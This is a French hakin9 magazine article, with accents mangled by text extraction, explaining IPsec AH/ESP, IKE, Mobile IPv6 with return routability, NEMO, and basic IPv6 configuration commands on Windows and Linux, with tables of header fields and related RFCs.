Lors de la reacuteception drsquoun paquet ESP la pile IPsec deacutetecte lrsquoassociation de seacutecuriteacute concerneacutee et en deacuteduit les algorithmes et les cleacutes associeacutees

Si la protection en authentification est activeacutee le reacutecep-teur calcule lrsquoICV sur le paquet ESP sans ce champ ICV Si le champ calculeacute coiumlncide avec le champ transmis lrsquointeacutegriteacute est assureacutee sur les champs concerneacutes Ces champs diffegraverent selon le mode usiteacute transport ou tun-

table 1 Rocircle des diffeacuterents champs de lrsquoextension drsquoen-tecircte AH

Champs Taille RocircleNext Header 8 bits Deacutecrit lrsquoen-tecircte de la couche immeacutediatement supeacuterieure ou la prochaine exten-

sion drsquoen-tecircte Similaire au champ Protocol en IPv4

Payload Len 8 bits Speacutecifie la longueur -2 en mots de 32 bits de lrsquoextension drsquoen-tecircte AH

RESERVED 16 bits Positionneacute agrave 0

SPI 32 bits Security Parameters Index utiliseacute par le reacutecepteur pour trouver lrsquoassociation de seacutecuriteacute agrave utiliser

Sequence Number

32 bits Compteur increacutementeacute agrave chaque paquet Permet en particulier de deacutetecter le re-jeu

ICV VariableSelon lrsquoalgorithme usiteacute

Integrity Check Value Destineacute agrave la validation de lrsquointeacutegriteacute du paquet Doit ecirctre un multiple de 32 bits

Padding Variable Utiliseacute pour des besoins drsquoalignement drsquoen-tecircte Sa taille est telle que lrsquoextension drsquoen-tecircte AH est un multiple de 64 bits (32 bits pour IPv4)

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 43

nel Vient ensuite le deacutechiffrement du paquet avec lrsquoalgo-rithme et la cleacute fournie par lrsquoassociation de seacutecuriteacute

Le rejeu des paquets est quant agrave lui deacutetecteacute agrave la ma-niegravere drsquoAH par le champ Sequence Number increacutementeacute agrave chaque paquet et eacutegalement proteacutegeacute par le champ ICV

Mode transportEn mode Transport lrsquoextension ESP est inseacutereacutee de la mecircme maniegravere que lrsquoextension AH apregraves lrsquoen-tecircte IPv6 et avant les en-tecirctes de niveau transport (TCP UDP) ESP eacutetant eacutegalement vue comme une extension drsquoen-tecircte traiteacutee de bout en bout de la communication el-le apparaicirct apregraves les extensions drsquoen-tecircte Hop-By-Hop Option Header Routing Header et Fragment Header Lrsquoextension drsquoen-tecircte Destination Options Header est quant agrave elle placeacutee indiffeacuteremment avant ou apregraves

Le chiffrement porte donc sur les octets situeacutes au dessus de lrsquoextension drsquoen-tecircte ESP agrave lrsquoexception des champs SPI Sequence Number ICV

Lrsquoauthentification eacuteventuelle reacutealiseacutee par le champ ICV porte sur lrsquoensemble des octets situeacutes au dessus de lrsquoextension drsquoen-tecircte ESP La Figure 5 montre ainsi le positionnement de lrsquoextension drsquoen-tecircte ESP en mode transport ainsi que la porteacutee de lrsquoauthentificationinteacute-griteacute et du chiffrement

Mode tunnelEn mode Tunnel lrsquoextension ESP est inseacutereacutee avant lrsquoen-tecircte IPv6 Un nouvel en-tecircte IPv6 est alors inseacutereacute en tecircte La Figure 6 et le tableau 4 preacutesentent le mode de construction de ce ne nouvel en-tecircte ainsi que le posi-tionnement des champs de lrsquoen-tecircte Inteacuterieur Dans le cas drsquoune utilisation en mode tunnel la totaliteacute du pa-quet initial est donc chiffreacutee

topologies de mises en œuvre IPsec a un inteacuterecirct majeur principalement par son mode ESP dans le cas ougrave nous souhaitons

bull chiffrer etou authentifier du trafic de bout en bout ou jusqursquoagrave une passerelle Dans ce cas les entiteacutes en

preacutesence doivent preacutefeacuterentiellement disposer drsquoun adressage public le NAT eacutetant assez difficilement compatible avec IPsec Une telle topologie a un inteacute-recirct majeur pour assurer la confidentialiteacute entre 2 enti-teacutes ou pour un utilisateur nomade par exemple

bull creacuteer un VPN entre sites distants Ce besoin inter-vient pour par exemple interconnecter des reacuteseaux priveacutes distants au travers dun reacuteseau public

Ces 2 modes opeacuterationnels sont reacutesumeacutes dans la Fi-gure 7 Dans cette figure la protection est symeacutetrique ce qui nrsquoest pas forceacutement le cas les associations de seacutecuriteacute eacutetant unidirectionnelles

iKe (internet Key exchange)Il a eacuteteacute preacuteceacutedemment indiqueacute qursquoAH et ESP neacutecessi-taient des cleacutes de chiffrements par le biais des associa-tions de seacutecuriteacute Cette gestion des cleacutes peut donc ecirctre manuelle mais dans un environnement conseacutequent une telle gestion devient irreacutealisable De plus cette meacutethode implique une deacutefinition totalement statique des associa-tions de seacutecuriteacute et un non-renouvellement des cleacutes

Le protocole IKE a donc eacuteteacute deacuteveloppeacute pour une ges-tion automatique des associations de seacutecuriteacute en parti-culier des cleacutes ainsi que des algorithmes agrave utiliser

IKE fait appel aux eacuteleacutements suivants

bull un protocole de gestion des associations de seacutecuri-teacute ISAKMP (Internet Security Association and Key Management Protocol) deacutefinissant des formats de paquets pour creacuteer modifier et deacutetruire des asso-ciations de seacutecuriteacute Ce protocole sert eacutegalement de support pour leacutechange de cleacutes preacuteconiseacute par les pro-tocoles de gestion de cleacutes Il assure aussi lauthenti-fication des partenaires dune communication

bull un protocole deacutechange de cleacutes de session fondeacute sur SKEME et Oakley qui repose sur la geacuteneacuteration de secrets partageacutes Diffie-Hellman

bull un domaine dinterpreacutetation ou DOI (Domain of In-terpretation) qui deacutefinit tous les paramegravetres propres agrave lenvironnement IPsec agrave savoir les protocoles

table 2 Construction de lrsquoen-tecircte IPv6 exteacuterieure pour AH en mode tunnel

Champs de lrsquoen-tecircte IPv6 en-tecircte Exteacuterieur en-tecircte InteacuterieurVersion Positionneacute agrave la valeur 6 Aucune modification

DS Copieacute depuis lrsquoen-tecircte inteacuterieur Aucune modification

ECN Copieacute depuis lrsquoen-tecircte inteacuterieur Positionneacute agrave 0

Flow Label Copieacute depuis lrsquoen-tecircte inteacuterieur ou configureacute Aucune modification

Payload Length Construit Aucune modification

Next Header Positionneacute agrave la valeur de AH (51) Aucune modification

Hop Limit Construit Deacutecreacutementeacute drsquoune uniteacute

Source Address Construit Aucune modification

Destination Address Construit Aucune modification

Extensions Headers Jamais copieacute mais peut apparaicirctre en postambule Aucune modification

5201044

Pratique

deacutechanges de cleacutes les paramegravetres dassociations de seacutecuriteacute agrave neacutegocier hellip

bull les cleacutes utiles lors de lauthentification mutuelle des eacutequipements IPsec qui intervient en preacutealable agrave toute neacutegociation dassociation de seacutecuriteacute Ces cleacutes peu-vent ecirctre des cleacutes partageacutees (pre-shared key) preacutecon-figureacutees par ladministrateur ou des cleacutes priveacuteespubli-ques personnelles agrave chaque eacutequipement IPsec et preacute-chargeacutees dans les eacutequipements ou encore un certifi-cat eacutelectronique geacutereacute par une infrastructure agrave cleacutes pu-bliques (PKI Public Key Infrastructure)

A lrsquoheure actuelle deux versions cohabitent IKEv1 tregraves complexe et IKEv2 qui en est une version simplifieacutee pour sa mise en œuvre ainsi que par son meacutecanisme

Mobiliteacute de Machines MiPv6En termes de mobiliteacute deux meacutecanismes principaux se distinguent la micro-mobiliteacute et la macro-mobiliteacute La micro-mobiliteacute est celle utiliseacutee entre autres par le wifi Les entiteacutes en cours de deacuteplacement sassocient de nouveau agrave des stations de base et conservent leur possibiliteacute de connectiviteacute au sein drsquoun domaine Cette gestion des handovers est relativement fine et limite la signalisation au sein du reacuteseau Ces meacutecanismes sont cependant peu efficaces au sein de plusieurs domai-nes En effet les adresses IP sont dans ce dernier cas reneacutegocieacutees pour mapper au domaine et pouvoir ainsi ecirctre routables

La macro-mobiliteacute reacutesout ce problegraveme en conservant une connectiviteacute IP mecircme lors drsquoun changement de do-maine Les adresses IP originelles continuent drsquoecirctre uti-liseacutees lors des communications De mecircme les sessions TCP peuvent ainsi rester fonctionnelles lors drsquoun deacutepla-cement entre domaines IPv6 integravegre ce concept dans le protocole MIPv6 (Mobile IPv6)

ConceptsAvant de poursuivre il convient de deacutefinir les mots cleacutes principaux utiliseacutes par MIPv6

bull Reacuteseau Megravere reacuteseau auquel la machine appar-tient initialement

bull Nœud correspondant machine dialoguant avec le mobile

bull Home Address adresse IPv6 dans le reacuteseau megraverebull Care-of Address adresse IPv6 dans le reacuteseau visiteacutebull Agent Megravere machine du reacuteseau megravere servant drsquoin-

terface entre le mobile et le nœud correspondant

MIPv6 utilise intensivement la notion de tunnels Scheacute-matiquement les paquets transmis par le mobile dans un reacuteseau eacutetranger passent par lrsquoAgent Megravere preacutesent dans le reacuteseau megravere avant drsquoecirctre retransmis au Nœud corres-pondant Le chemin de retour est identique Le routage sous-jacent apporte le paquet jusqursquoagrave lrsquoAgent Megravere qui le retransmet au mobile dans son reacuteseau visiteacute

Lrsquoagent megravere doit eacutegalement ecirctre capable agrave tout mo-ment de localiser ses mobiles en deacuteplacement Il utilise pour cela un cache baptiseacute Binding Cache associant Home Address et Care-of Address de ses diffeacuterents mo-biles Un meacutecanisme de signalisation proteacutegeacute par IPsec en mode ESP est par conseacutequent utiliseacute pour mettre agrave jour ce cache Il ne sera pas fait eacutetat des paquets MIPv6 ici il srsquoagit simplement de savoir que cette mise agrave jour srsquoeffectue agrave lrsquoaide de paquets particuliers nommeacutes Bin-ding Update Ceux-ci sont geacuteneacuteralement acquitteacutes par lrsquoAgent Megravere par des Binding Acknowledgment

Lrsquoensemble des meacutecanismes basiques de MIPv6 se situe au niveau de la couche IP dans le modegravele TCPIP Ils ont eacuteteacute modeleacutes pour permettre une communication avec des entiteacutes nrsquoayant pas conscience des protoco-les de mobiliteacute Ils nont aucun effet sur les couches de

table 3 Rocircle des diffeacuterents champs de lrsquoextension drsquoen-tecircte ESP

Champs Taille RocircleSPI 32 bits Security Parameters Index utiliseacute par le reacutecepteur pour trouver lrsquoassociation de seacutecuriteacute agrave

utiliser

Sequence Number 32 bits Compteur increacutementeacute agrave chaque paquet Permet en particulier de deacutetecter le rejeu

IV VariableSelon lrsquoalgorithme usiteacute

Vecteur drsquoinitialisation eacuteventuel pour les algorithmes de chiffrement

TFC Padding Variable Traffic Flow Confidentiality Utiliseacute pour une protection contre les attaques statistiques

Padding Variable Utiliseacute pour des besoins drsquoalignement drsquoen-tecircte Sa taille est telle que lrsquoextension drsquoen-tecircte ESP est un multiple de 64 bits (32 bits pour IPv4)

Pad Length 8 bits Indique la taille du champ Padding en octets

Next Header 8 bits Deacutecrit lrsquoen-tecircte de la couche immeacutediatement supeacuterieure ou la prochaine extension drsquoen-tecircte Similaire au champ Protocol en IPv4

ICV VariableSelon lrsquoalgorithme usiteacute

Integrity Check Value Destineacute agrave la validation de lrsquointeacutegriteacute du paquet Doit ecirctre un multiple de 32 bits

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 45

niveau transport et applicative Pour le correspondant cette communication est totalement transparente

Mobiliteacute de Machines MiP6Le mobile situeacute dans son reacuteseau megravere utilise sa Home Address pour dialoguer de maniegravere classique avec des Nœuds correspondants Lorsqursquoil se deacuteplace dans un reacuteseau visiteacute la proceacutedure est la suivante

bull Le mobile obtient une nouvelle adresse IP par com-binaison de son adresse MAC et du nouveau preacute-fixe reacuteseau la Care-of Address Il dispose toujours de sa Home Address

bull Le mobile transmet un Binding Update agrave lrsquoagent megravere afin de mettre agrave jour son cache drsquoassociation Ce paquet eacutetant proteacutegeacute par IPsec en mode ESP lrsquoauthentification lrsquoanti-rejeu la confidentialiteacute et lrsquoin-teacutegriteacute sont assureacutes

bull Lrsquoagent megravere aura alors agrave charge de capturer les paquets auparativement transmis au mobile II uti-lise dans cette optique les possibiliteacutes offertes par le protocole de deacutecouverte des voisins (Neighbor Discovery) en annonccedilant son adresse MAC com-me destinataire de lrsquoensemble des paquets unicast agrave destination du mobile Les caches NDP des ma-chines preacutesentent sur le lien megravere seront ainsi re-mis agrave jour

bull Lorsque le mobile souhaite dialoguer avec un nœud correspondant il peut choir drsquoutiliser son nouvel adres-sage ou de masquer sa mobiliteacute par lrsquoutilisation de sa Home Address Dans ce dernier cas il construit un tunnel ESP avec son Agent Megravere et encapsule les pa-quets agrave destination de son correspondant Lrsquoadresse source de la partie interne est ainsi la Home Address lrsquoadresse destination est celle du correspondant

bull Le paquet parvient agrave lrsquoAgent Megravere qui veacuterifie son authentification le deacutechiffre le deacutesencapsule et le retransmet sur le reacuteseau

bull Le correspondant pourra y reacutepondre de maniegravere sy-meacutetrique Cette reacuteponse sera captureacutee par lrsquoAgent Megravere chiffreacutee et authentifieacutee avant drsquoecirctre retrans-mise au mobile dans le tunnel ESP En cas drsquoun deacute-placement en cours de communication le binding cache aura eacuteteacute actualiseacute permettant agrave lrsquoAgent megravere de retrouver son mobile

La Figure 8 positionne ces diffeacuterentes entiteacutes dans un contexte MIPv6

Optimisations de routesLes eacutechanges entre mobiles et correspondants nrsquoeacutetant pas toujours les plus optimums en matiegravere de routage MIPv6 integravegre un mode drsquooptimisation pour les corres-pondants inteacutegrant des fonctions speacutecifiques Il srsquoagit de supprimer simplement la passerelle occasionneacutee par lrsquoAgent Megravere

Pour cela MIPv6 deacutefinit 2 nouvelles options

bull Routing Header de type 2 qui est simplement une extension drsquoen-tecircte Routing Header contenant la Home Address du mobile

bull Home Address Option qui est une sous-option de lrsquoextension drsquoen-tecircte Destination Option Header trai-teacute uniquement par le reacutecepteur du paquet

Lorsquun correspondant supporte loptimisation de rou-tage il maintient tout comme lAgent Megravere une table des associations pour tous les mobiles avec lesquels il est en communication Une veacuterification axeacutee autour drsquoICM-Pv6 est preacutealable avant toute optimisation

Le principe est alors assez proche de celui utiliseacute avec lrsquoAgent Megravere

bull Le mobile en deacuteplacement transmet un Binding Update au correspondant pour lui faire eacutetat de sa nouvelle localisation apregraves en avoir fait de mecircme agrave

table 4 Construction de lrsquoen-tecircte IPv6 exteacuterieure pour ESP en mode tunnel

Champs de lrsquoen-tecircte IPv6 en-tecircte Exteacuterieur en-tecircte InteacuterieurVersion Positionneacute agrave la valeur 6 Aucune modification

DS Copieacute depuis lrsquoen-tecircte inteacuterieur Aucune modification

ECN Copieacute depuis lrsquoen-tecircte inteacuterieur Positionneacute agrave 0

Flow Label Copieacute depuis lrsquoen-tecircte inteacuterieur ou configureacute

Aucune modification

Payload Length Construit Aucune modification

Next Header Positionneacute agrave la valeur de ESP (50) Aucune modification

Hop Limit Construit Deacutecreacutementeacute drsquoune uniteacute

Source Address Construit Aucune modification

Destination Address Construit Aucune modification

Extensions Headers Jamais copieacute mais peut apparaicirctre en postambule

Aucune modification

5201046

Pratique

son Agent Megravere Ce correspondant mettra alors agrave jour son Binding Cache

bull Lorsque le mobile veut transmettre un message au correspondant il utilise en adresse source sa Care-of Address mais ajoute lrsquooption Home Address Option

bull Le paquet subira le routage classique entre le mobi-le et le correspondant remontera dans la pile MIPv6 de ce correspondant qui eacutechangera Care-of Address du champ adresse source et Home Address preacutesen-tes dans lrsquooption Home Address Option Pour la pi-le IPv6 le paquet sera transparent comme prove-nant directement du mobile depuis son reacuteseau Megravere Si ce paquet est proteacutegeacute par IPsec les veacuterifications sappuieront donc sur lrsquoadresse megravere

bull Avant de reacutepondre le correspondant cherchera dans sa table drsquoassociation la Care-Of Address du mobile Il transmettra alors le paquet en utilisant cette Care-Of Address en destination et y ajoutera lrsquooption Rou-ting Header de type 2 remplie avec la Home Address

bull Le paquet parviendra donc au mobile qui eacutechangera preacutealablement lrsquoadresse de destination avec la Home Address Le paquet remontera donc eacutegalement dans les couches de maniegravere totalement transparente

Ce meacutecanisme donne donc des trajectoires opti-mums en matiegravere de routage et permet de limiter les contraintes en matiegravere drsquoingress et drsquooutgress filte-ring Ce meacutecanisme de mise agrave jour dassociation po-se cependant dimportants problegravemes en matiegravere de seacutecuriteacute En effet il est aiseacute de proteacuteger les eacutechan-ges de signalisation entre le mobile et lagent megravere du fait de la relation administrative qui permet par exemple lutilisation dun secret partageacute mais ceci est beaucoup plus compliqueacute en ce qui concerne les correspondants sans protection il serait possible de deacutetourner les communications dun mobile en re-dirigeant le trafic pour lespionner ou de mener une attaque par deacuteni de service Une proceacutedure speacutecifi-que baptiseacutee Return Routability proceacutedure doit donc ecirctre mise en œuvre avant toute deacutecision drsquooptimisa-tion

return routability proceacutedureCette proceacutedure est destineacutee agrave la protection partielle des associations de seacutecuriteacute entre mobile et correspon-dant dans le cas de lrsquooptimisation de route Elle repose sur une utilisation de 4 messages principaux

table 5 Les commandes essentielles IPv6 sous Windows

Commande Netsh Rocirclenetsh interface ipv6 show interface Affiche les interfaces IPv6

netsh interface ipv6 set interface[[interface=]String][[forwarding=]enabled | disabled][[advertise=]enabled | disabled][[mtu=]Integer] [[siteid=]Integer][[metric=]Integer] [[store=]active |persistent]

Permet drsquoactiver le forwarding des interfaces les annonces de Rout-er Advertisement

netsh interface ipv6 add address[[interface=]String][address=]IPv6Address[[type=]unicast | anycast][[validlifetime=]Integer | infinite][[preferredlifetime=]Integer |infinite] [[store=]active | persistent]

Permet drsquoajouter des adresses IPv6 aux interfaces

netsh interface ipv6 showbindingcacheentries

Affiche le Binding cache utiliseacute par MIPv6

netsh interface ipv6 show routes[[level=]normal | verbose][[store=]active | persistent]

Affiche les routes IPv6

netsh interface ipv6 add route[prefix=]IPv6AddressInteger[[interface=]String][[nexthop=]IPv6Address][[siteprefixlength=]Integer][[metric=]Integer] [[publish=]no | yes| immortal] [[validlifetime=]Integer |infinite] [[preferredlifetime=]Integer| infinite] [[store=]active |persistent]

Ajoute une route IPv6 dans la table de routage

netsh interface ipv6 renew[[interface=]String]

Permet la reacuteinitialisation des adresses IPv6

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 47

bull HoTI Home Test Initbull CoTI Care-of Test Initbull HoT Home Testbull CoT Care-of Test

Les correspondants inteacutegrant lrsquooptimisation de route doivent preacutealablement disposer de nonces et drsquoune cleacute secregravete noteacutee Kcn

La proceacutedure utiliseacuteee est la suivante

bull un message HoTI est eacutemis depuis la Home Address du mobile vers le correspondant via lagent megravere Il contient une valeur aleacuteatoire sur 64 bits le Home Init cookie

bull parallegravelement un message CoTI est eacutemis depuis la care-of address du mobile directement vers le nœud correspondant Celui-ci contient une seconde valeur aleacuteatoire sur 64 bits le Care-of Init cookie

bull en reacuteponse au message HoTI un message HoT est eacutemis par le correspondant agrave destination de la Home Address du mobile via lAgent Megravere Ce pa-quet contient entre autres lrsquoindex drsquoun nonce choisi par le correspondant ainsi qursquoun Home Keygen to-ken calculeacute par premier (64 HMAC _ SHA1 (Kcn (home

address | nonce | 0 )))

bull de mecircme en reacuteponse au message CoTI un message CoT est eacutemis par le correspondant vers la Care-of Ad-dress du mobile Ce paquet contient entre autres lrsquoin-dex drsquoun autre nonce choisi par le correspondant ain-si qursquoun Home Keygen token calculeacute par premier (64 HMAC _ SHA1 (Kcn (care-of address | nonce | 0 )))

A lrsquoissue de ces diffeacuterentes eacutetapes le mobile calcule une cleacute noteacutee Kbm

Kbm = SHA1 ( home keygen token | care-of keygen

token)

La Figure 9 repreacutesente le cheminement de ces diffeacute-rents messages au travers de lrsquoInternet

Cette cleacute sera utiliseacutee lors de la mise agrave jour des associa-tions pour authentifier le mobile par le calcul drsquoun HMAC

Cette proceacutedure repose sur lrsquohypothegravese forte qursquoaucun espion nrsquoeacutecoute agrave la fois les messages CoT et HoT qui

normalement empruntent des chemins distincts Dans le cas contrairen il lui serait aiseacute de calculer Kbm et de geacuteneacuterer des faux messages drsquoassociation Cette eacutecou-te nrsquoest pas faisable dans le reacuteseau visiteacute puisque les eacutechanges entre Agent Megravere et mobile sont chiffreacutes Pra-tiquement cette attaque est aiseacutee dans le reacuteseau du correspondant mais elle nrsquoest pas eacutevalueacutee comme eacutetant plus risqueacutee que celles rencontreacutees dans un contexte sans mobiliteacute par simple IP-spoofing NDP spoofinghellip

Afin de reacuteduire les risques les nonces ainsi que la cleacute Kcn sont reacuteguliegraverement actualiseacutes

Mobiliteacute de reacuteseaux NeMOMIPv6 gegravere la mobiliteacute dun hocircte tandis que NEMO as-sure la mobiliteacute dun reacuteseau IPv6 entier appeleacute reacuteseau mobile Dans le cas de NEMO la complexiteacute est centra-liseacutee sur un eacutequipement deacutedieacute le routeur mobile Ain-si chaque mouvement (lorsque le reacuteseau mobile se deacute-place dun reacuteseau daccegraves vers un autre) est transparent pour lensemble des hocirctes IPv6 du reacuteseau mobile Un hocircte IPv6 standard peut ainsi beacuteneacuteficier dune connecti-viteacute permanente au sein dun reacuteseau mobile sans avoir toutefois besoin de protocoles additionnels

NEMO coupleacute avec certaines extensions gegravere notam-ment la mobiliteacute des reacuteseaux IPv6 la continuiteacute des flux les eacutequipements multi-interfaces Dans sa version ac-tuellement standardiseacutee NEMO ne gegravere cependant pas les optimisations de route comme peut le geacuterer MIPv6

Pratique amp Mise en œuvreLa majeure partie des Systegravemes drsquoexploitation des softwares des eacutequipements reacuteseaux actuels disposent drsquoun support IPv6 Vous pourrez le veacuterifier sur le site de lrsquoIPv6 Ready Logo Committee programme mondial de certification IPv6 Vous obtiendrez sur ce site le deacute-tail des impleacutementations actuellement certifieacutees et vous constaterez aiseacutement lrsquoimportant retard de lrsquoEurope

Les infrastructures reacuteseaux europeacuteennes ont eacutegalement accumuleacutees un retard consideacuterable dans cette migration hellip Et pourtant les reacuteseaux de lrsquoenseignement et de la re-cherche proposent depuis deacutejagrave plusieurs anneacutees un sup-port Natif drsquoIPv6 voire du multicast IPv6 Heureusement quelques ISP (Internet Service Provider) tels que Free offrent depuis quelques mois un adressage IPv6

table 6 Commandes principales pour la configuration drsquoIPv6 sous linux

Commande ip Rocircleip -6 address show [dev ltpeacuteripheacuteriquegt] Affiche les adresses IPv6

ip -6 addr add ltadresseipv6gtltlongueurdupreacutefixegt dev ltinterfacegt Ajoute une adresse IPv6

ip -6 route show [dev ltpeacuteripheacuteriquegt] Affiche les routes IPv6

ip -6 route add ltreacuteseauipv6gtltlongueurdupreacutefixegt via ltadresseipv6gt [dev ltpeacuteripheacuteriquegt]

Ajoute une route IPv6

ip -6 neigh show [dev ltpeacuteripheacuteriquegt] Affiche les voisins NDP

ip -6 neigh add ltadresseIPv6gt lladdr ltadressedelacouche-liengt dev ltpeacuteripheacuteriquegt

Ajoute un voisin NDP

5201048

Pratique

Ce paragraphe a pour objectif de vous faire appreacute-hender la mise en œuvre basique drsquoIPv6 sur les prin-cipaux systegravemes utiliseacutes agrave savoir Windows et Linux Nous supposons que vous disposez drsquoores et deacutejagrave drsquoun adressage IPv6 parce que vous ecirctes par exem-ple dans une des situations preacuteceacutedemment eacutevoqueacutees Rappelons que les Internet IPv4 et IPv6 sont bien dis-tincts mecircme si une utilisation des machines en double pile permet la superposition de certaines portions Dans le cas contraire si vous deacutesirez plus qursquoun reacuteseau local il vous faudra utiliser lun des meacutecanismes de transition deacutecrits dans lrsquoarticle preacuteceacutedent Nous vous conseillons de preacutefeacuterence un tunnel broker et en second choix un tunnel 6to4

avec WindowsLa majeure partie des versions courantes de Windows disposent drsquoun support IPv6 Vista XP SP1 XP SP2 Server 2003 2008 Sous Vista et Server 2008 ce sup-port est activeacute par deacutefaut Sous XP ou Server 2003 il vous faudra lrsquoactiver au preacutealable

Selon les versions de Windows les meacutecanismes dis-ponibles sont plus ou moins complets

La mobiliteacute IPv6 ne prend en compte que la partie correspondant ni Home Agent ni Nœud Mobile ne sont disponibles

Sous Windows XP et Server 2003 IPsec pour IPv6 of-fre les meacutecanismes AH et ESP mais le chiffrement ainsi que la gestion automatique des cleacutes nrsquoest pas disponible Seuls Vista et Server 2008 offrent ces fonctionnaliteacutes

Vista et Server 2008 permettent une utilisation de DHCPv6

activation de la pile iPv6 amp Configuration des adressesCe besoin ne se retrouve que sous XP et Windows Server 2003 dont la pile IPv6 est par deacutefaut deacutesacti-veacutee

Cette activation se fait par le biais de lrsquooutil ipv6exe sous Windows XP ougrave de la commande netsh disponible sur toutes les versions

Sous Windows XP il srsquoagit drsquoexeacutecuter ipv6 install

Bien entendu les interfaces concerneacutees doivent ac-cepter la connectiviteacute TCPIPv6 dans le menu Proprieacute-teacutes adeacutequat

Une adresse Lien-locale associeacutee agrave chacune de vos cartes reacuteseau sera alors automatiquement configureacutee par concateacutenation du preacutefixe fe80 et de votre identifiant drsquointer-face deacutefini depuis lrsquoadresse MAC associeacutee Les interfaces relieacutees agrave un reacuteseau IPv6 constitueacute drsquoun routeur annonccedilant des Router Advertisement obtiendront de mecircme automa-tiquement une adresse globale unicast unique routable et contenant lrsquoadresse MAC de lrsquointerface concerneacutee

La commande ipconfig all (ou netsh show) vous prou-vera votre connectiviteacute La figure 10 vous montre une telle configuration sous Windows XP

Vous constaterez eacutegalement une adresse suppleacute-mentaire qualifieacutee de Temporaire Il srsquoagit en fait drsquoune adresse globale de dureacutee de vie relativement courte destineacutee au masquage de lrsquoadresse MAC (disponible depuis le SP2) Au besoin vous pourrez la deacutesactiver par ipv6 ndashp gpu useTemporaryAddresse no

Connectiviteacute cheminLorsque vous disposerez drsquoune adresse routable ou simplement pour tester la connectiviteacute entre deux ma-chines vous pourrez utiliser la commande ping6 qui est le pendant de ping pour IPv4 Cette commande geacute-negravere un ensemble de paquets ICMPv6 Echo Request et affiche les reacuteponses associeacutees ICMPv6 Echo Re-ply

La Figure 11 montre un tel ping6 sur wwwgooglefr deacutesormais adressable en IPv6 Les paquets reacutesultants de cette commande sont eacutegalement indiqueacutes par cap-ture du trafic avec Wireshark

En IPv4 pour connaicirctre le trajet suivi par les paquets la commande tracert est geacuteneacuteralement utiliseacutee En IPv6 il srsquoagit deacutesormais de tracert6

Cache des voisins (NDP Cache)La reacutesolution MACAdresse en IPv4 donne naissan-ce au cache ARP obtenu par arp ndashan par exemple En IPv6 il srsquoagit deacutesormais du cache NDP qui peut ecirctre ob-tenu par ipv6 nc ou netsh interface ipv6 show neighbors

table 7 Reacutefeacuterences

Lien Titrehttplivrepoint6netindexphp IPv6 Theacuteorie et Pratique - Gisegravele Ciza-

ult

httpipv6readyorg Site de lrsquoIPv6 Ready Logo Committee

httpwwwdeepspace6netdocsipv6_status_page_appshtml Statut des applications reacuteseaux sup-portant IPv6

httpmirrorsdeepspace6netLinux+IPv6-HOWTO-fr HOWTO IPv6 pour Linux

httpwwwlinux-franceorgprjinetdocguidesAdvanced-routing-Howto HOWTO du routage avanceacute et du con-trocircle de trafic sous Linux

httpwikiwiresharkorgESP_Preferences Le module de deacutechiffrement et drsquoauthentification ESP pour Wireshark

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 49

Diverses CommandesLrsquoensemble des configurations essentielles IPv6 sous Windows srsquoeffectuent agrave lrsquoaide de Netsh (etou ipv6exe sous Windows XP) Hormis celles preacuteceacutedemment deacutefi-nies les commandes essentielles sont indiqueacutees dans le Tableau 5

accegraves Web en iPv6Classiquement en IPv4 les URLs (Uniform Resource Locator) utiliseacutees dans les accegraves HTTP (HypertexT Transfert Protocol) utilisent le nommage DNS (Domain Name System) Avant toute requecircte lrsquoadresse du ser-veur HTTP est donc geacuteneacuteralement preacutealablement tra-duite par le biais des serveurs DNS Avec IPv6 il en est de mecircme le browser dans un premier temps recher-che lrsquoensemble des adresses IP associeacutees au serveur HTTP Si celui-ci dispose drsquoune adresse IPv6 il tentera dans un premier temps de le joindre par IPv6 En cas drsquoeacutechec crsquoest le protocole IPv4 qui sera utiliseacute Nous rappelons qursquoil nrsquoest pas indispensable que le serveur DNS soit adresseacute en IPv4 pour retourner des adresses IPv6

A lrsquoheure actuelle la majeure partie des navigateurs supporte IPv6 par deacutefaut Firefox Internet Explorer hellip A titre drsquoexemple vous pourrez vous connecter sur wwwkamenet Si vous disposez drsquoun accegraves exteacuterieur IPv6 et drsquoun browser compatible vous devriez voir en premiegravere page une tortue animeacutee Le cas eacutecheacuteant elle sera fixe

Avec IPv6 les adresses eacutetant 4 fois plus longues les URLs contenant des IPs devraient encore moins se pratiquer Cependant ceci reste possible et pour diffeacute-rencier les de lrsquoadresse avec la section port de lrsquoURL il faut entourer lrsquoIP de [ ] (Exemple http[20014860a00368] pour acceacuteder agrave google en IPv6)

avec LinuxQuelle que soit la distribution contemporaine utiliseacutee celle-ci contient IPv6 Vous pourrez neacuteanmoins tester la preacutesence de son support dans le noyau par veacuterification de la preacutesence du chemin procnetif_inet6 Le mo-dule IPv6 doit eacutegalement ecirctre chargeacute avant toute utilisa-tion Un appel agrave lsmod vous le confirmera

table 8 Liste des RFCs relatives agrave IPv6

Norme TitreRFC 2403 The Use of HMAC-MD5-96 within ESP and AH

RFC 2404 The Use of HMAC-SHA-1-96 within ESP and AH

RFC 2405 The ESP DES-CBC Cipher Algorithm With Explicit IV

RFC 2409 The Internet Key Exchange (IKE)

RFC 2451 The ESP CBC-Mode Cipher Algorithms

RFC 3566 The AES-XCBC-MAC-96 Algorithm and Its Use With IPsec

RFC 3602 The AES-CBC Cipher Algorithm and Its Use with IPsec

RFC 3686 Using Advanced Encryption Standard (AES) Counter Mode With IPsec Encapsulating Security Payload (ESP)

RFC 3775 Mobility Support in IPv6

RFC 3776 Using IPsec to Protect Mobile IPv6 Signaling Between Mobile Nodes and Home Agents

RFC 3963 Network Mobility (NEMO) Basic Support Protocol

RFC 4109 Algorithms for Internet Key Exchange version 1 (IKEv1)

RFC 4301 Security Architecture for the Internet Protocol

RFC 4302 IP Authentication Header

RFC 4303 IP Encapsulating Security Payload (ESP)

RFC 4306 Internet Key Exchange (IKEv2) Protocol

RFC 4307 Cryptographic Algorithms for Use in the Internet Key Exchange Version 2 (IKEv2)

RFC 4385 Cryptographic Algorithm Implementation Requirements for Encapsulating Security Payload (ESP) and Authenti-cation Header (AH)

RFC 4835 Cryptographic Algorithm Implementation Requirements for Encapsulating Security Payload (ESP) and Authenti-cation Header (AH)

RFC 4877 Mobile IPv6 Operation with IKEv2 and the Revised IPsec Architecture

RFC 4885 Network Mobility Support Terminology

RFC 4886 Network Mobility Support Goals and Requirements

RFC 4887 Network Mobility Home Network Models

RFC 4888 Network Mobility Route Optimization Problem Statement

RFC 4889 Network Mobility Route Optimization Solution Space Analysis

5201050

Pratique

